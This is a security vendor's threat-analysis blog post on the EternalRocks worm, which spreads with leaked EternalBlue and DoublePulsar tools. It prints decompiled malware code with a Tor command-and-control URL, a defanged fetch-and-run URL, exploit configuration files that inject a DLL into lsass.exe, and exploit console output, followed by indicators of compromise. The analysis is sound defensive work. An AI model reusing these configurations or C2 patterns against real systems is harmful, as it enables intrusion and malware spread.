Skip Navigation
BlackBerry Blog

Threat Spotlight: EternalBlue Exploit Breeds EternalRocks Malware

Introduction

In mid-April, a group that identified themselves as “The Shadow Brokers” disclosed an archive of exploits, backdoors, and other hacking tools supposedly affiliated with an advanced persistent threat actor called “The Equation Group.”

The Equation Group is generally agreed to be a pseudonym for a highly sophisticated nation-state actor with access to substantial resources. Though there are a number of articles speculating on the actual source of the tools contained within the archive, it is not necessary to attribute them to any particular actor in order to see their ramifications and build defenses to block their threats.  

Included in the archive were exploits that allowed the execution of arbitrary code on remote systems, often targeting common ports open by default on most versions of Windows. Foremost among these is the now infamous “EternalBlue” exploit that targeted open server message block (SMB) ports and was used to great effect in the recent WannaCry ransomware attack. It was also speculated to have been used to spread the Adylkuzz crypto-currency miner.

Attacks leveraging the EternalBlue exploit generally follow this pattern:

  1. A vulnerable system with an open, unpatched port is identified.
  2. EternalBlue (or another exploit) is used to achieve remote code execution.
  3. The DoublePulsar backdoor is uploaded. This allows remote control of the infected system and the upload of an additional payload.
  4. An arbitrary payload is injected into the target system’s memory using the DoublePulsar backdoor. In the case of WannaCry, this payload was ransomware, but it could potentially be any payload, including malware that does a much more effective job at hiding on a system.
  5. In the case of WannaCry, the payload also contained code that attempted to spread additional infections with the EternalBlue/DoublePulsar attack chain. This effectively made WannaCry a worm, a kind of malware that could spread without any kind of user intervention.

Though Microsoft published a patch for a number of the exploits contained in the Shadow Broker’s dump, unpatched systems still remain vulnerable to this kind of attack. It is important to note that a potential attacker could use any payload in the attack chain described above.

What is Adylkuzz?

Adylkuzz, a family of malware that installs a crypto-currency miner as a payload instead of ransomware, may have predated WannaCry and uses a similar attack pattern. In a Adylkuzz research blog, Proofpoint researchers stipulate that Adylkuzz is using bots to scan the Internet for public facing SMB ports that are vulnerable to the EternalBlue/DoublePulsar attack and then installing the payload.

Despite the differences in payloads between WannaCry and Adylkuzz, their initial infection vector is almost identical. However, it is a mistake to assume that this is the only fallout from the Shadow Broker dump.

EternalRocks: The Fallout of EternalBlue

The discovery of a new worm known as EternalRocks shows that clever utilization of the tools contained within the dump can result in an even more dangerous worm capable of spreading to vulnerable servers on the Internet, using a variety of exploit methods, including EternalBlue.

A Deep Dive into EternalRocks:

The EternalRocks worm uses a two-step installation process that allows for an attacker to pre-stage a remote payload on a server. The first stage is responsible for fetching the payload from a remote server and executing it.

The original second stage binary was responsible for dropping a number of Shadow Brokers exploits and payloads to disk and then attempting to execute them against random public IP addresses. If the exploitation is successful, the first-stage binary is uploaded to the compromised host and the process begins again. As of May 25, 2017, the original second stage appears to have been replaced with an empty binary.

EternalRocks (First Stage):

SHA256:
d43c10a2c983049d4a32487ab1e8fe7727646052228554e0112f6651f4833d2c

The first stage of the worm is written in un-obfuscated .NET, which allows it to be easily decompiled into human-readable source code. By analyzing it, we can see important attributes of the application. For example, the URL of the Tor Hidden Services command and control (CnC) server is in plain-text, declared in the “Globals” list:

namespace svchost
{
        public class Globals
        {
                       public static double myVersion = 1.27;
                       public static double dVersion = 1.0;
                       public static string sInstallDirectory = "C:\\Program Files\\Microsoft Updates";
                       public static string sOnion = "http://ubgdgno5eswkhmpy.onion";
        }
}

Most of the main functionality of the first stage is contained in the “On-Run” method, which performs a variety of actions on the system:

  1. Checks for installation of “installed.fgh”. If found, terminates installation. This appears to be a method of avoiding a redundant install on a system that is already infected.
  2. Installs additional binaries embedded as resources in the original: svchost.taskhost.exe and svchost.TorUnzip.exe.
  3. Installs Tor.
  4. Creates firewall rules for outbound connections to download additional components.
  5. Creates Windows Scheduled Tasks to ensure persistence on the infected host.

Interestingly enough, the first stage of the worm also disables the file and print sharing service and then blocks all traffic into the SMB 445 port. This would effectively prevent future exploitation attempts directed at this port:

public class OnRun
        {
                                      …………….
       firewall.DoFirewallRule("firewall set service fileandprint disable");
       firewall.DoFirewallRule("advfirewall firewall add rule name=\"Malware SMB Block   dir=in localport=445 protocol=TCP action=block");
       firewall.DoFirewallRule("firewall set opmode ENABLE");
                                      ……………
    }

The last step fetches the second stage payload from the Tor CnC server and then executes it: hxxp://ubgdgno5eswkhmpy(dot)onion/updates/download?id=PC

EternalRocks (Second Stage):

Since the discovery of EternalRocks, there have been at least two distinct second stage binaries:

  1. A self-propagating worm that drops a number of Shadow Broker exploits, configs and payloads to disk and then attempts to propagate to additional vulnerable hosts.
  2. An empty .NET binary that contains no significant code, likely placed by the malware author to stop the propagation of the worm.

Original Second Stage:

SHA256:
cf8533849ee5e82023ad7adbdbd6543cb6db596c53048b1a0c00b3643a72db30

The original second stage infector is retrieved from the Tor Hidden Service URL above and contains all of the components to be self-propagating. After a successful install, it drops an archive of Shadow Brokers exploits, configuration files, and payloads to disk. If successful, it begins attacking public facing servers with open ports, presumably with the exploits contained in the archive.

If the presence of a configuration file is indicative that an exploit is attempted, we can infer that there are at least six different exploits being used. It is important to note that most are directed at the SMB protocol, and thus can be blocked by denying traffic to 445. However, ARCHITOUCH is directed at port 49152, another commonly open port on hosts running Windows OS’s. DoublePulsar is the follow-on backdoor installed after the exploit attempt is successful, at least in the case of EternalBlue:

Figure 1 - Configuration Files for Shadow Brokers Exploits

By analyzing the configuration files, we can get a pretty good idea on how the worm works. Here is the config file for the EternalBlue exploit:

<t:parameter name="TargetIp" description="Target IP Address" type="IPv4" format="Scalar" valid="true">
<t:value>XXX.XXX.XXX.XXX</t:value>
</t:parameter>
- <t:parameter name="TargetPort" description="Port used by the SMB service for exploit connection" type="TcpPort" format="Scalar" valid="true">
<t:default>445</t:default>
<t:value>445</t:value>
</t:parameter>
- <t:parameter name="MaxExploitAttempts" description="Number of times to attempt the exploit and groom. Disabled for XP/2K3." type="U32" format="Scalar" valid="true">
<t:default>3</t:default>
<t:value>3</t:value>
</t:parameter>
- <t:paramchoice name="Target" description="Operating System, Service Pack, and Architecture of target OS">
<t:value>WIN72K8R2</t:value>
<t:paramgroup name="XP" description="Windows XP 32-Bit All Service Packs" />
<t:paramgroup name="WIN72K8R2" description="Windows 7 and 2008 R2 32-Bit and 64-Bit All Service Packs" />
</t:paramchoice>
</t:config>

Here, you can get an idea of the author's intended targets: 32 or 64-bit versions of Windows XP, Windows 7, or Server 2008 R2 operating systems with open 445 ports. The config file also allows you to easily manipulate target IP addresses, which is how we were able to recreate the exploit in a safe testing environment.

Utilizing EternalBlue actually produces a verbose output:

[*] Connecting to target for exploitation.
[*] Pinging backdoor...
[+] Backdoor not installed, game on.
[*] Target OS selected valid for OS indicated by SMB reply
[*] CORE raw buffer dump (39 bytes):
0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
0x00000010 30 30 38 20 52 32 20 45 6e 74 65 72 70 72 69 73 008 R2 Enterprise
0x00000020 65 20 37 36 30 30 00               e 7600.
[*] Building exploit buffer
[*] Sending all but last fragment of exploit packet
................DONE.
[*] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Starting non-paged pool grooming
[+] Sending SMBv2 buffers
 ..................DONE.
 [+] Sending large SMBv1 buffer..DONE.
 [+] Sending final SMBv2 buffers......DONE.
 [+] Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
 [*] Sending SMB Echo request
 [*] Good reply from SMB Echo request
[*] Sending last fragment of exploit packet!
DONE.
[*] Receiving response from exploit packet
[+] ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] Sending egg to corrupted connection.
[*] Triggering free of corrupted buffer.
[*] Pinging backdoor...
[+] Backdoor returned code: 10 - Success!
[+] Ping returned Target architecture: x64 (64-bit)
[+] Backdoor installed
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

After EternalBlue succeeds, the DoublePulsar backdoor is called with the options in the related config file:

<t:paramchoice name="Function" description="Operation for backdoor to perform">
<t:default>OutputInstall</t:default>
<t:value>RunDLL</t:value>
- <t:paramgroup name="OutputInstall" description="Only output the install shellcode to a binary file on disk.">
<t:parameter name="OutputFile" description="Full path to the output file" type="String" format="Scalar" />
</t:paramgroup>
<t:paramgroup name="Ping" description="Test for presence of backdoor" />
- <t:paramgroup name="RunDLL" description="Use an APC to inject a DLL into a user mode process.">
- <t:parameter name="DllPayload" description="DLL to inject into user mode" type="LocalFile" format="Scalar" valid="true">
<t:value>c:\ops\payloads\ReflectivePick_x86.dll</t:value>
</t:parameter>
- <t:parameter name="DllOrdinal" description="The exported ordinal number of the DLL being injected to call" type="U32" format="Scalar" valid="true">
<t:default>1</t:default>
<t:value>1</t:value>
</t:parameter>
- <t:parameter name="ProcessName" description="Name of process to inject into" type="String" format="Scalar" valid="true">
<t:default>lsass.exe</t:default>
<t:value>lsass.exe</t:value>

Here, we can identify what the author is doing with DoublePulsar: injecting the “ReflectivePick_x86.dll” payload into lsass.exe and calling its first ordinal export with rundll32.exe. If we manually perform this operation, we get this result:

Figure 2 - Payload Execution

Since “UpdateInstaller.exe” refers to the generic file name of the first stage payload, we can infer that if a successful EternalBlue exploitation occurs, a new first stage payload infects the remote host and the cycle begins all over again.

New Second Stage:

According to an excellent piece of independent research on EternalRocks, the supposed author replaced the original self-propagating payload with an empty .NET application on May 25, 2017. This binary is benign and contains no functional code. Like the .NET binary above, it is easily decompiled into source code:

Figure 3 - Source Code For Benign Binary

SHA256:
48b1024f599c3184a49c0d66c5600385265b9868d0936134185326e2db0ab441

When executed, this application performs no detectable actions, effectively halting the spread of the worm. It is important to note that the first stage is still active on a number of infected hosts and this binary can be replaced with a more malicious one at any time.

Mitigation

If you use our endpoint protection product, CylancePROTECT®, you were already protected from this attack and all variants. If you don't have CylancePROTECT, contact us to learn how our AI-driven solution can predict and prevent unknown and emerging threats.

Conclusion

It is also worth noting that as of the end of May 2017, the CnC domain for EternalRocks is still registered and delivering the empty payload described above. At any time, the author could swap the benign payload for something more malicious. It is also possible that the author will attempt to sell the framework to malicious actors, or that it will be reverse engineered by someone with more malicious intentions.

EternalRocks presents a useful proof-of-concept for future Shadow Brokers exploit-based attacks. Like other worms employing multiple propagation mechanisms, it can persist in environments with unpatched hosts long after the vulnerabilities are officially fixed. It is likely that these kinds of attacks will continue to become more sophisticated with time, leveraging multiple attack vectors to deliver a number of potentially damaging payloads. 

Indicators of Compromise (IoCs)

SHA-256 Hashes:

First Stage:
d43c10a2c983049d4a32487ab1e8fe7727646052228554e0112f6651f4833d2c

Original Second Stage:
cf8533849ee5e82023ad7adbdbd6543cb6db596c53048b1a0c00b3643a72db30

New Second Stage:
48b1024f599c3184a49c0d66c5600385265b9868d0936134185326e2db0ab441

Shadow Broker’s Exploit Package:
70ec0e2b6f9ff88b54618a5f7fbd55b383cf62f8e7c3795c25e2f613bfddf45d

Filenames (Vary):

First Stage – “UpdateInstaller.exe”

Original Second Stage – “taskhost.exe”

New Second Stage – “taskhost.exe”

URLs:

hxxp://ubgdgno5eswkhmpy(dot)onion/updates/download?id=PC

The BlackBerry Cylance Threat Research Team

About The BlackBerry Cylance Threat Research Team

The BlackBerry Cylance Threat Research team examines malware and suspected malware to better identify its abilities, function and attack vectors. Threat Research is on the frontline of information security and often deeply examines malicious software, which puts us in a unique position to discuss never-seen-before threats.